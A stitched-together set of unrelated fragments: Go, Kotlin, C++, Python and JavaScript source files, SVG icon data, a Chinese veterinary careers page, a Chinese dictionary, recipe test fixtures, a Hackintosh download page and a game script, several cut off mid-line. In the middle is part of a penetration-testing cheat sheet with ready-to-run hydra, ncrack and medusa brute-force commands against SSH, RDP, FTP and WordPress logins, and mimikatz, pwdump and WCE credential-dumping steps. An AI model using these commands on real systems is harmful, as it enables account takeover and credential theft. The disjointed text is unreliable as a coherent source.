://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
  <env:Header>
    <a:To>http://winrm:5985/wsman</a:To>
    <a:ReplyTo>
      <a:Address mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
    </a:ReplyTo>
    <w:MaxEnvelopeSize mustUnderstand="true">153600</w:MaxEnvelopeSize>
    <w:OperationTimeout>PT60S</w:OperationTimeout>
    <a:MessageID>1-2-3-4</a:MessageID>
    <w:Locale mustUnderstand="false" xml:lang="en_US"/>
    <p:DataLocale mustUnderstand="false" xml:lang="en_US"/>
    <a:Action mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command</a:Action>
    <w:SelectorSet>
      <w:Selector Name="ShellId">shell-id</w:Selector>
    </w:SelectorSet>
    <w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</w:ResourceURI>
    <w:OptionSet>
      <w:Option Name="WINRS_CONSOLEMODE_STDIN">TRUE</w:Option>
      <w:Option Name="WINRS_SKIP_CMD_SHELL">FALSE</w:Option>
    </w:OptionSet>
  </env:Header>
</env:Envelope>
`

	c.Check(msg.String(), Equals, expected)
}
// Code generated by go-swagger; DO NOT EDIT.

// This file is part of MinIO Console Server
// Copyright (c) 2023 MinIO, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
//

package models

// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command

import (
	"context"

	"github.com/go-openapi/errors"
	"github.com/go-openapi/strfmt"
	"github.com/go-openapi/swag"
	"github.com/go-openapi/validate"
)

// AccountChangePasswordRequest account change password request
//
// swagger:model accountChangePasswordRequest
type AccountChangePasswordRequest struct {

	// current secret key
	// Required: true
	CurrentSecretKey *string `json:"current_secret_key"`

	// new secret key
	// Required: true
	NewSecretKey *string `json:"new_secret_key"`
}

// Validate validates this account change password request
func (m *AccountChangePasswordRequest) Validate(formats strfmt.Registry) error {
	var res []error

	if err := m.validateCurrentSecretKey(formats); err != nil {
		res = append(res, err)
	}

	if err := m.validateNewSecretKey(formats); err != nil {
		res = append(res, err)
	}

	if len(res) > 0 {
		return errors.CompositeValidationError(res...)
	}
	return nil
}

func (m *AccountChangePasswordRequest) validateCurrentSecretKey(formats str


5 9.492.021-.004a2.59 2.59 0 002.095 1.437v.024h5.679v-.024c.078.007.153.024.233.024A2.604 2.604 0 0077.2 69.25c0-.266-.051-.517-.125-.759l.012-.002-.061-.156c-.019-.051-.037-.101-.059-.15L56.876 17.036h-.018a2.596 2.596 0 00-2.462-1.79h-8.812a2.596 2.596 0 00-2.476 1.836l-20.194 51.3.012.002c-.096.272-.159.56-.159.865a2.605 2.605 0 002.604 2.605zm24.607-46.678 10.185 26.989h-20.37l10.185-26.989z"/></svg>';
  static const String thumbnails =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100" preserveAspectRatio="xMidYMid meet" viewBox="0 0 100 100"><path fill="currentColor" d="M30.278 17.553H19.822a2.27 2.27 0 00-2.269 2.269v10.454a2.27 2.27 0 002.269 2.269h10.455a2.27 2.27 0 002.269-2.269V19.823a2.269 2.269 0 00-2.268-2.27zm24.949 0H44.772a2.27 2.27 0 00-2.269 2.269v10.454a2.27 2.27 0 002.269 2.269h10.455a2.27 2.27 0 002.269-2.269V19.823a2.269 2.269 0 00-2.269-2.27zm27.219 2.269a2.27 2.27 0 00-2.269-2.269H69.721a2.27 2.27 0 00-2.269 2.269v10.455a2.27 2.27 0 002.269 2.27h10.455a2.27 2.27 0 002.269-2.269V19.822h.001zM30.278 42.506H19.822a2.27 2.27 0 00-2.269 2.269V55.23a2.27 2.27 0 002.269 2.269h10.455a2.27 2.27 0 002.269-2.269V44.776a2.269 2.269 0 00-2.268-2.27zm24.949 0H44.772a2.27 2.27 0 00-2.269 2.269V55.23a2.27 2.27 0 002.269 2.269h10.455a2.27 2.27 0 002.269-2.269V44.776a2.269 2.269 0 00-2.269-2.27zm24.95 0H69.721a2.27 2.27 0 00-2.269 2.269V55.23a2.27 2.27 0 002.269 2.27h10.455a2.27 2.27 0 002.269-2.269V44.776a2.269 2.269 0 00-2.268-2.27zM30.278 67.454H19.822a2.27 2.27 0 00-2.269 2.269v10.454a2.27 2.27 0 002.269 2.269h10.455a2.27 2.27 0 002.269-2.269V69.723a2.268 2.268 0 00-2.268-2.269zm24.949 0H44.772a2.27 2.27 0 00-2.269 2.269v10.454a2.27 2.27 0 002.269 2.269h10.455a2.27 2.27 0


     * 4. 当获取到的数据量等于pageSize时，说明还有下一页数据，继续循环
     * 5. 当获取到的数据量小于pageSize时，说明已是最后一页，结束循环
     */
    fun <T> migrateByPage(
        pageSize: Int,
        fetch: (offset: Int, limit: Int) -> List<T>,
        migrate: (List<T>) -> Unit
    ) {
        var offset = 0
        do {
            // 获取当前页的数据
            val records = fetch(offset, pageSize)
            // 如果当前页有数据，则执行迁移操作
            if (records.isNotEmpty()) {
                migrate(records)
            }
            // 更新偏移量，准备获取下一页
            offset += pageSize
        } while (records.size == pageSize)
    }
}
/*
 * Tencent is pleased to support the open source community by making BK-CI 蓝鲸持续集成平台 available.
 *
 * Copyright (C) 2019 Tencent.  All rights reserved.
 *
 * BK-CI 蓝鲸持续集成平台 is licensed under the MIT license.
 *
 * A copy of the MIT License is included in this file.
 *
 *
 * Terms of the MIT License:
 * ---------------------------------------------------
 * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
 * documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
 * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all copies or substantial portions of
 * the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
 * LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
 * NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
 * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

package com.tencent.devops.misc.sharding

import com.tencent.devops.common.api.enums.SystemModuleEnum
import com.tencent.devops.common.api.pojo.ShardingRuleTypeEnum
import com.tencent.devops.common.api.util.ShardingUtil
import com.tencent.devops.common.client.Client
import com.tencent.devops.common.service.utils.BkShardingRoutingCacheUtil
import com.tencent.devops.common.service.utils.CommonUtils
import com.tencent.devops.common.service.utils.SpringContextUtil
import com.tencent.devops.project.api.service.ServiceShardingRoutingRuleResource
import org.apache.shardingsphere.sharding.api.sharding.standard.PreciseShardingValue
import org.apache.shardingsphere.sharding.api.sharding.standard.RangeShardingValue
import org.apache.shardingsphere.sharding.api.sharding.standard.StandardShardingAlgorithm
import java.util.Properties

class BkProcessArchiveTableShardingAlgorithm : StandardShardingAlgorithm<String> {

    override fun doSharding(
        availableTargetNames: MutableCollection<String>,
        shardingValue: PreciseShardingValue<String>
    ): String {
        val routingName = shardingValue.value
        val fistTableNameSuffix = "_0"


e specific language governing permissions and
 * limitations under the License.
 */

package io.getstream.chat.android.extensions

import org.amshove.kluent.`should be equal to`
import org.junit.jupiter.params.ParameterizedTest
import org.junit.jupiter.params.provider.Arguments
import org.junit.jupiter.params.provider.MethodSource

internal class IntExtensionsTest {

    @ParameterizedTest
    @MethodSource("intExtensionsLimitToArguments")
    fun testIntExtensionsLimitTo(
        value: Int,
        min: Int,
        max: Int,
        expected: Int,
    ) {
        value.limitTo(min, max) `should be equal to` expected
    }

    companion object {

        @JvmStatic
        fun intExtensionsLimitToArguments() = listOf(
            Arguments.of(1, 0, 2, 1),
            Arguments.of(1, 2, 3, 2),
            Arguments.of(3, 1, 2, 2),
        )
    }
}
/*
 * Copyright (c) 2014-2025 Stream.io Inc. All rights reserved.
 *
 * Licensed under the Stream License;
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *    https://github.com/GetStream/stream-chat-android/blob/main/LICENSE
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package io.getstream.chat.android.models

import org.amshove.kluent.`should be equal to`
import org.junit.jupiter.api.Test

internal class FiltersTest {

    @Test
    fun testFiltersNeutral() {
        val filter = Filters.neutral()
        filter `should be equal to` NeutralFilterObject
    }

    @Test
    fun testFiltersExists() {
        val filter = Filters.exists("fieldName")
        filter `should be equal to` ExistsFilterObject("fieldName")
    }

    @Test
    fun testFiltersNotExists() {
        val filter = Filters.notExists("fieldName")
        filter `should be equal to` NotExistsFilterObject("fieldName")
    }

    @Test
    fun testFiltersContains() {
        val filter = Filters.contains("fieldName", "value")
        filter `should be equal to` ContainsFilterObject("fieldName", "value")
    }

    @Test
    fun testFiltersAnd() {
        val filter1 = Filters.eq("fieldName1", "value1")
        val filter2 = Filters.eq("fieldName2", "value2")
        val andFilter = Filters.and(filter1, filter2)
        andFilter `should be equal to` AndFilterObject(setOf(filter1, filter2))
    }

    @Test
    fun testFiltersOr() {
        val filter1 = Filters.eq("fieldName1", "value1")
        val filter2 = Filters.eq("fieldName2", "value2")
        val orFilter = Filters.or(filter1, filter2)
        orFilter `should be equal to` OrFilterObject(setOf(filter1, filter2))
    }

    @Test
    fun testFiltersNor() {
        val filter1 = Filters.eq("fieldName1", "value1")
        val filter2 = Filters.eq("fieldName2", "value2")
        val norFilter = Filters.nor(filter1, filter2)
        norFilter `should be equal to` NorFilterObject(setOf(filter1, filter2))
    }

    @Test
    fun testFiltersEq() {
        val filter = Filters.eq("fieldName", "value")
        filter `should be equal to` EqualsFilterObject("fieldName", "value")
    }

    @Test
    fun testFiltersNe() {
        val filter = Filters.ne("fieldName", "value")


http://www.to3158.cn/tags-y-f653a68f8c94aa.html" target="_blank" class="relatedlink">研发或临床。

3、动物保健与药品研发：人们对宠物健康的投资不断增加，动物保健产品和药品市场呈现出良好的增长势头。毕业生可以从事动物保健品、药品和疫苗的研发、销售和推广工作。

4、动物医学专业就业前景很好，现在宠物越来越多，也越来越受到主人的重视，动物医学就业方向有兽医、宠物健康护理、宠物疾病预防、宠物饲养、检疫类单位、动物检疫、肉品卫生检验、食品安全等。

5、加强国际合作和交流，拓宽就业和研究的领域。总体而言，动物医学专业的就业前景非常广阔，涵盖了医疗、制药、政府等多个领域。随着科技和社会的发展，动物医学专业也面临着新的发展趋势，需要适应时代的变革和发展。

关于动物医院专业就业前景分析和动物医院专业排名的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。

上一个：兽用疫苗间隔多长时间再用下一个疫苗（兽用疫苗多久能产生抗体）

下一个：宠物美容师证怎么考（宠物美容师证怎么考知乎）</


)
    sorted_means = sorted(means)

    # Simple heuristic
    if sorted_means[0]/sorted_means[1] > .7:
        return None

    return np.argmin(means)

def get_letter(alt_index):
    return ["A", "B", "C", "D", "E"][alt_index] if alt_index is not None else "N/A"

def get_answers(source_file):
    """Runs the full pipeline:

    - Loads input image
    - Normalizes image
    - Finds contours
    - Finds corners among all contours
    - Finds 'outmost' points of all corners
    - Applies perpsective transform to get a bird's eye view
    - Scans each line for the marked alternative
    """
    im_orig = cv2.imread(source_file)

    im_normalized = normalize(im_orig)

    contours = get_contours(im_normalized)

    corners = get_corners(contours)

    cv2.drawContours(im_orig, corners, -1, (0, 255, 0), 3)

    outmost = sort_points_counter_clockwise(get_outmost_points(corners))

    color_transf = perspective_transform(im_orig, outmost)
    normalized_transf = perspective_transform(im_normalized, outmost)

    answers = []
    for i, q_patch in enumerate(get_question_patches(normalized_transf)):
        alt_index = get_marked_alternative(get_alternative_patches(q_patch))

        if alt_index is not None:
            color_q_patch = get_question_patch(color_transf, i)
            draw_marked_alternative(color_q_patch, alt_index)

        answers.append(get_letter(alt_index))

    return answers, color_transf

def main():
    parser = argparse.ArgumentParser()

    parser.add_argument(
        "--input",
        help="Input image filename",
        required=True,
        type=str)

    parser.add_argument(
        "--output",
        help="Output image filename",
        type=str)

    parser.add_argument(
        "--show",
        action="store_true",
        help="Displays annotated image")

    args = parser.parse_args()

    answers, im = get_answers(args.input)

    for i, answer in enumerate(answers):
        print("Q{}: {}".format(i + 1, answer))

    if args.output:
        cv2.imwrite(args.output, im)
        print('Wrote image to {}.'.format(args.output))

    if args.show:
        cv2.imshow('Annotated image', im)
        cv2.waitKey(0)

if __name__ == '__main__':
    main()


uled =
        runInCorrectThread([pool = getSelfWeakPointer(), pmysql_conn]() {
          std::unique_ptr<MysqlPooledHolder<Client>> mysql_connection(
              static_cast<MysqlPooledHolder<Client>*>(pmysql_conn));
          auto shared_pool = pool.lock();
          if (!shared_pool) {
            return;
          }

          // in mysql 5.7 we can use mysql_reset_connection
          // We don't have a nonblocking version for reset connection, so we
          // are going to delete the old one and the open connection being
          // removed procedure is going to check if it needs to open new one
          shared_pool->addConnection(std::move(mysql_connection), false);
        });

    if (!scheduled) {
      delete pmysql_conn;
    }
  }

  // Anytime a connection is supposed to be added to the pool, being fresh or
  // recycled, we check if there is an operation in wait list for the
  // ConnectionKey inside MysqlPooledHolder, if there is, the match is made
  // here. Otherwise it is added to the pool.
  // At this point, the connection should already have been cleaned.
  // Should only be used internally
  void addConnection(
      std::unique_ptr<MysqlPooledHolder<Client>> mysql_conn,
      bool brand_new) {
    // Only called internally, this doesn't need to check if it's shutting
    // down
    validateCorrectThread();
    if (brand_new && expirationPolicy() == ExpirationPolicy::Age) {
      // TODO add noise to expiration age
      mysql_conn->setLifeDuration(ageTimeout());
    }

    VLOG(11) << "New connection ready to be used";
    auto pool_op = conn_storage_.popOperation(mysql_conn->getPoolKey());
    if (pool_op == nullptr) {
      VLOG(11) << "No operations waiting for Connection, enqueueing it";
      conn_storage_.queueConnection(std::move(mysql_conn));
    } else {
      mysql_conn->setReusable(true);
      pool_op->connectionCallback(std::move(mysql_conn));
    }
  }

  // Used for when we fail to open a requested connection. In case of mysql
  // failure (e.g. bad password) we propagate the error to all queued
  // AsyncConnectPoolOperation's.
  void failedToConnect(const PoolKey& pool_key, ConnectOperation& conn_op) {
    // Propagating ConnectOperation failure to queued operations in case
    // This will help us fail fast incorrect passwords or users.
    if (conn_op.result() == OperationResult::Failed) {
      conn_storage_.failOperations(
          pool_key,
          conn_op.result(),
          conn_op.mysql_errno(),
          conn_op.mysql_error());
    }
    connectionSpotFreed(pool_key);
  }

  virtual void openNewConnectionPrep(ConnectPoolOperation<Client>& pool_op) = 0;

  virtual void openNewConnectionFinish(
      ConnectPoolOperation<Client>& pool_op,
      const PoolKey& pool_key) = 0;

  virtual std::unique_ptr<Connection> makeNewConnection(
      std::shared_ptr<const ConnectionKey> conn_key,
      std::unique_ptr<MysqlPooledHolder<Client>> mysqlConn) = 0;
};

template <typename Client>
std::unique_ptr<ConnectPoolOperationImpl<Client>>
createConnectPoolOperationImpl(
    std::weak_ptr<ConnectionPool<Client>> pool,
    std::shared_ptr<Client> client,
    std::shared_ptr<const ConnectionKey> conn_key);

} // namespace facebook::common::mysql_client


ies/brute.html

            Nmap Generic auto detect brute force attack
            nmap --script brute -Pn <target.com or ip>

            MySQL nmap brute force attack
            nmap --script=mysql-brute $ip

        Dictionary Files
            Word lists on Kali
            cd /usr/share/wordlists

        Key-space Brute Force

            crunch 6 6 0123456789ABCDEF -o crunch1.txt

            crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

            crunch 8 8 -t ,@@^^%%%

        Pwdump and Fgdump - Security Accounts Manager (SAM)

            pwdump.exe - attempts to extract password hashes

            fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.

        Windows Credential Editor (WCE)

            allows one to perform several attacks to obtain clear text passwords and hashes

            wce -w

        Mimikatz
            extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
            https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access): meterpreter> load mimikatz meterpreter> help mimikatz meterpreter> msv meterpreter> kerberos meterpreter> mimikatz_command -f samdump::hashes meterpreter> mimikatz_command -f sekurlsa::searchPasswords

        Password Profiling
            cewl can generate a password list from a web page
            cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt

        Password Mutating
            John the ripper can mutate password lists
            nano /etc/john/john.conf
            john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt

        Medusa
            Medusa, initiated against an htaccess protected web directory
            medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10

        Ncrack
            ncrack (from the makers of nmap) can brute force RDP
            ncrack -vv --user offsec -P password-file.txt rdp://$ip

        Hydra

            Hydra brute force against SNMP
            hydra -P password-file.txt -v $ip snmp

            Hydra FTP known user and password list
            hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp

            Hydra SSH using list of users and passwords
            hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

            Hydra SSH using a known password and a username list
            hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

            Hydra SSH Against Known username on port 22 hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt

            Hydra POP3 Brute Force
            hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

            Hydra SMTP Brute Force
            hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

            Hydra attack http get 401 login with a dictionary
            hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

            Hydra attack Windows Remote Desktop with rockyou hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

            Hydra brute force a Wordpress admin login hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
    Password Hash Attacks


月球上一火山口（以古希腊天文学家阿里斯塔克命名）；亚里达古（圣经中人物）",
"Aristarchus of Samos":"萨摩斯的阿利斯塔克斯（古希腊天文学家）",
"aristate":"a. 有芒的, 有刺的",
"aristebon":"磺胺对甲氧嘧啶",
"aristeromycin":"芒霉素",
"aristic acid":"[医] 蛇根酸",
"Aristide":"n. (Aristide)人名；(法、意、希、罗)阿里斯蒂德",
"Aristide Maillol":"[网络] 马约尔；麦约；法国象征主义雕塑画家麦约",
"Aristides":"n. 阿里司提戴斯（雅典哲学家）",
"aristidic acid":"[医] 蛇根树脂酸",
"aristiform":"芒状",
"aristin":"[医] 马兜铃素",
"aristo":"n. <英口>(一个)贵族",
"aristocardia":"心右偏",
"aristochin":"[医] 碳酸奎宁",
"Aristocort":"去炎松及其衍生物制剂的商品名",
"aristocracies":"n. 贵族；贵族统治；上层社会；贵族政治",
"aristocracy":"n. 贵族, 上层社会, 知识界杰出分子\\n[法] 贵族政治, 贵族统治",
"aristocrat":"n. 贵族",
"aristocratic":"a. 贵族的, 主张贵族统绐的, 有贵族气派的",
"aristocratic government":"[法] 贵族政府",
"aristocratical":"a. (属于)贵族的；贵族政治的, 具有贵族政治特性的",
"aristocratically":"adv. 贵族地",
"aristocratism":"n. 贵族主义, 贵族",
"aristocrats":"n. 贵族( aristocrat的复数形式 )",
"aristogenesis":"芒状发生",
"aristogenics":"(=eugenics)优生学",
"Aristogrid":"数字化器",
"aristol":"[医] 碘麝香草脑(商品名)",
"aristolene":"马兜铃烯",
"aristolic acid":"[医] 十五碳蛇根酸",
"aristolin":"马兜铃灵",
"Aristolochia":"[医] 马兜铃属",
"Aristolochia clematidis":"[医] 欧马兜铃, 铁线连马兜铃",
"Aristolochia clematitis":"[网络] 马兜铃；马兜铃属",
"Aristolochia contorta":"[医] 马兜铃, 北马兜铃",
"Aristolochia cymbifera":"[医]


DocumentIntermediateNode();
        Assert.NotNull(documentNode);

        return documentNode;
    }

    private static TagHelperDescriptor CreateTagHelperDescriptor(
        string tagName,
        string typeName,
        string assemblyName,
        IEnumerable<Action<BoundAttributeDescriptorBuilder>> attributes = null)
    {
        var builder = TagHelperDescriptorBuilder.Create(typeName, assemblyName);
        builder.TypeName(typeName);

        if (attributes != null)
        {
            foreach (var attributeBuilder in attributes)
            {
                builder.BoundAttributeDescriptor(attributeBuilder);
            }
        }

        builder.TagMatchingRuleDescriptor(ruleBuilder => ruleBuilder.RequireTagName(tag


    title = "",
)

val MIX_SUGAR_RECIPE_INGREDIENT_INSTRUCTION_ENTITY = RecipeIngredientToInstructionEntity(
    recipeId = "1",
    ingredientId = "1",
    instructionId = "1",
)

val MIX_BREAD_RECIPE_INGREDIENT_INSTRUCTION_ENTITY = RecipeIngredientToInstructionEntity(
    recipeId = "1",
    ingredientId = "3",
    instructionId = "1",
)

val CAKE_RECIPE_ENTITY = RecipeEntity(
    remoteId = "1",
    recipeYield = "4 servings",
    disableAmounts = true,
)

val CAKE_SUGAR_RECIPE_INGREDIENT_ENTITY = RecipeIngredientEntity(
    id = "1",
    recipeId = "1",
    note = "2 oz of white sugar",
    food = null,
    unit = null,
    quantity = 1.0,
    display = "2 oz of white sugar",
    title = "Sugar",
    isFood = false,
    disableAmount = true,
)

val CAKE_BREAD_RECIPE_INGREDIENT_ENTITY = RecipeIngredientEntity(
    id = "3",
    recipeId = "1",
    note = "2 oz of white bread",
    food = null,
    unit = null,
    quantity = 1.0,
    display = "2 oz of white bread",
    title = null,
    isFood = false,
    disableAmount = true,
)

val FULL_CAKE_INFO_ENTITY = RecipeWithSummaryAndIngredientsAndInstructions(
    recipeEntity = CAKE_RECIPE_ENTITY,
    recipeSummaryEntity = CAKE_RECIPE_SUMMARY_ENTITY,
    recipeIngredients = listOf(
        CAKE_SUGAR_RECIPE_INGREDIENT_ENTITY,
        CAKE_BREAD_RECIPE_INGREDIENT_ENTITY,
    ),
    recipeInstructions = listOf(
        MIX_CAKE_RECIPE_INSTRUCTION_ENTITY,
        BAKE_CAKE_RECIPE_INSTRUCTION_ENTITY,
    ),
    recipeIngredientToInstructionEntity = listOf(
        MIX_SUGAR_RECIPE_INGREDIENT_INSTRUCTION_ENTITY,
        MIX_BREAD_RECIPE_INGREDIENT_INSTRUCTION_ENTITY
    ),
)

val PORRIDGE_RECIPE_ENTITY_FULL = RecipeEntity(
    remoteId = "2",
    recipeYield = "3 servings",
    disableAmounts = true,
)

val PORRIDGE_MILK_RECIPE_INGREDIENT_ENTITY = RecipeIngredientEntity(
    id = "1",
    recipeId = "2",
    note = "2 oz of white milk",
    food = null,
    unit = null,
    quantity = 1.0,
    display = "2 oz of white milk",
    title = null,
    isFood = false,
    disableAmount = true,
)

val PORRIDGE_SUGAR_RECIPE_INGREDIENT_ENTITY = RecipeIngredientEntity(
    id = "2",
    recipeId = "2",
    note = "2 oz of white sugar",
    food = null,
    unit = null,
    quantity = 1.0,
    display = "2 oz of white sugar",
    title = "Sugar",
    isFood = false,
    disableAmount = true,
)

val PORRIDGE_MIX_RECIPE_INSTRUCTION_ENTITY = RecipeInstructionEntity(
    id = "1",
    recipeId = "2",
    text = "Mix the ingredients",
    title = "",
)

val PORRIDGE_BOIL_RECIPE_INSTRUCTION_ENTITY = RecipeInstructionEntity(
    id = "2",
    recipeId = "2",
    text = "Boil the ingredients",
    title = "",
)

val FULL_PORRIDGE_INFO_ENTITY = RecipeWi


ner">https://pan2.baidu.com/s/1AKuzJXJe7haNYWo00YwJlQ 提取码: ivmi

OneDrive下载：请点击下载

MD5 (macOS Mojave 10.14.5(18F132) Installer with Clover 4928.dmg) = 371d9145484beaf0795d6b7d0d569fc3

 其它机型EFI下载：

https://github.com/daliansky/Hackintosh

 关于打赏

您的支持就是我更新的动力！
如果不希望看到博主停更的话，请点击下方的 打赏 支持一下，有钱的捧个钱场，没钱的捧个人场，谢谢大家！

微信扫一扫，订阅/直达【黑果小兵的部落阁】

<svg xmlns="http://www.w3.org/2000/svg" width="130" height="20"><lineargradient id="b" x2="0" y2="100%"><stop offset="0" stop-color="#bbb" stop-opacity=".1"/><stop offset="1" stop-opacity=".1"/></lineargradient><clippath id="a"><rect width="130" height="20" rx="3" fill="#fff"/></clippath><g clip-path="url(#a)"><path fill="#555" d="M0 0h55v20H0z"/><path fill="#97CA00" d="M55 0h75v20H55z"/><path fill="url(#b)" d="M0 0h130v20H0z"/></g><g fill="#fff" text-anchor="middle" font-family="Menlo,monospace" font-size="110"><text x="285" y="150" fill="#010101" fill-opacity=".3" textlength="450" transform="scale(.1)">更新日期</text><text x="285" y="140" textlength="450" transform="scale(.1)">更新日期</text><text x="915" y="150" fill="#010101" fill-opacity=".3" textlength="650" transform="scale(.1)">2025-03-17</text><text x="915" y="140" textlength="650" transform="scale(.1)">2025-03-17</text></g></svg>

-------------本文结束<i class="fa


          if (copyCurrentRoom.id === action.payload.roomId) {
            console.log("現在開いているチャットルームの場合");
            copyCurrentRoom.users = action.payload.users;
            copyCurrentRoom.logs.push({
              logId: copyCurrentRoom.logs.length + 1,
              userName: "管理者☆⼺",
              time: formatDate("yyyy/MM/dd HH:mm:ss"),
              message: `■■■■■ ${action.payload.userName} さんが⼊室しました。 ■■■■■`,
            });
          }
          return { ...state, currentRoom: copyCurrentRoom };
        }
        //会話
        case ActionTypes.WebSocketEvents.WEBSOCKET_CONVERSATION: {
          const currentState = { ...state };
          let copyCurrentRoom = JSON.parse(
            JSON.stringify(currentState.currentRoom)
          );
          // 現在開いているチャットルームの場合、メッセージ⼀覧を更新
          if (copyCurrentRoom.id === action.payload.roomId) {
            copyCurrentRoom.logs.push({
              logId: copyCurrentRoom.logs.length + 1,
              userName: action.payload.userName,
              time: action.payload.time,
              message: action.payload.message,
            });
          }
          return { ...state, currentRoom: copyCurrentRoom };
        }
        //ルーム一覧取得
        case ActionTypes.WebSocketEvents.WEBSOCKET_GET_ROOMS_LIST: {
          return { ...state, rooms: action.payload.rooms };
        }
        // 現在のチャットルーム取得
        case ActionTypes.WebSocketEvents.WEBSOCKET_GET_CURRENT_ROOM: {
          const currentState = { ...state };
          let copyCurrentRoom = JSON.parse(
            JSON.stringify(currentState.currentRoom)
          );
          // 現在開いているチャットルームの場合、メッセージ⼀覧を更新
          if (copyCurrentRoom.id === action.payload.roomId) {
            return {
              ...state,
              currentRoom: {
                id: action.payload.roomId,
                name: action.payload.roomName,
                users: action.payload.users,
                logs: action.payload.logs,
              },
            };
          }
          return { ...state };
        }
        //チャットルーム退室
        case ActionTypes.WebSocketEvents.WEBSOCKET_DISCONNECT:
        case ActionTypes.WebSocketEvents.WEBSOCKET_LEAVE_ROOM: {
          const currentState = { ...state };
          let copyCurrentRoom = JSON.parse(
            JSON.stringify(currentState.currentRoom)
          );
          // 現在開いているチャットルームの場合、ユーザー削除‧退室ログ追加
          if (copyCurrentRoom.id === action.payload.roomId) {
            let loopCount = 0;
            for (const user of copyCurrentRoom.users) {
              if (user.socketId === action.payload.socketId) {
                // 該当ユーザーを削除
                copyCurrentRoom.users.splice(loopCount, 1);
                // 退室ログの追加
                copyCurrentRoom.logs.push({
                  logId: copyCurrentRoom.logs.length + 1,
                  userName: "管理者☆⼺",
                  time: formatDate("yyyy/MM/dd HH:mm:ss"),
                  message: `■■■■■ ${user.name}さんが退室しました。 ■■■■■`,
                });
                break;
              }
              loopCount++;
            }
          }
          return { ...state, currentRoom: copyCurrentRoom };
        }
      }
      return { ...state };
    }
    // WebSocket以外のイベントの場合
    case ActionTypes.Events.NORMAL: {
      switch (action.payload.type) {
        // 現在のチャットルーム情報クリアs
        case ActionTypes.Events.CLEAR_CURRENT_ROOM: {


14_616D')
def func_14_616D():
    Sleep(3000)

    ChrSetRGBAMask(0x000B, 255, 255, 255, 0, 500)

    Return()

# id: 0x0015 offset: 0x617E
@scena.Code('func_15_617E')
def func_15_617E():
    Sleep(3500)

    ChrSetRGBAMask(0x000D, 255, 255, 255, 0, 500)
    PlaySE(7, 0x00, 0x64)

    Return()

# id: 0x0016 offset: 0x6194
@scena.Code('func_16_6194')
def func_16_6194():
    MapClearFlags(0x00000001)
    EventBegin(0x00)
    CameraMove(-50180, 0, -790, 0)
    FormationAddMember(0x05, 0xFF)
    ChrSetFlags(0x0011, 0x0004)
    ChrSetFlags(0x000A, 0x0004)
    ChrClearFlags(0x0011, 0x0080)
    ChrClearFlags(0x000A, 0x0080)
    ChrClearFlags(0x000B, 0x0080)
    ChrClearFlags(0x000C, 0x0080)
    ChrClearFlags(0x000D, 0x0080)
    ChrClearFlags(0x000E, 0x0080)
    ChrClearFlags(0x0009, 0x0080)
    ChrClearFlags(0x0009, 0x0008)
    ChrSetPos(0x0009, -52430, 0, 480, 0)
    ChrSetPos(0x000B, -50850, 0, -1230, 270)
    ChrSetPos(0x000D, -51540, 0, -2430, 0)
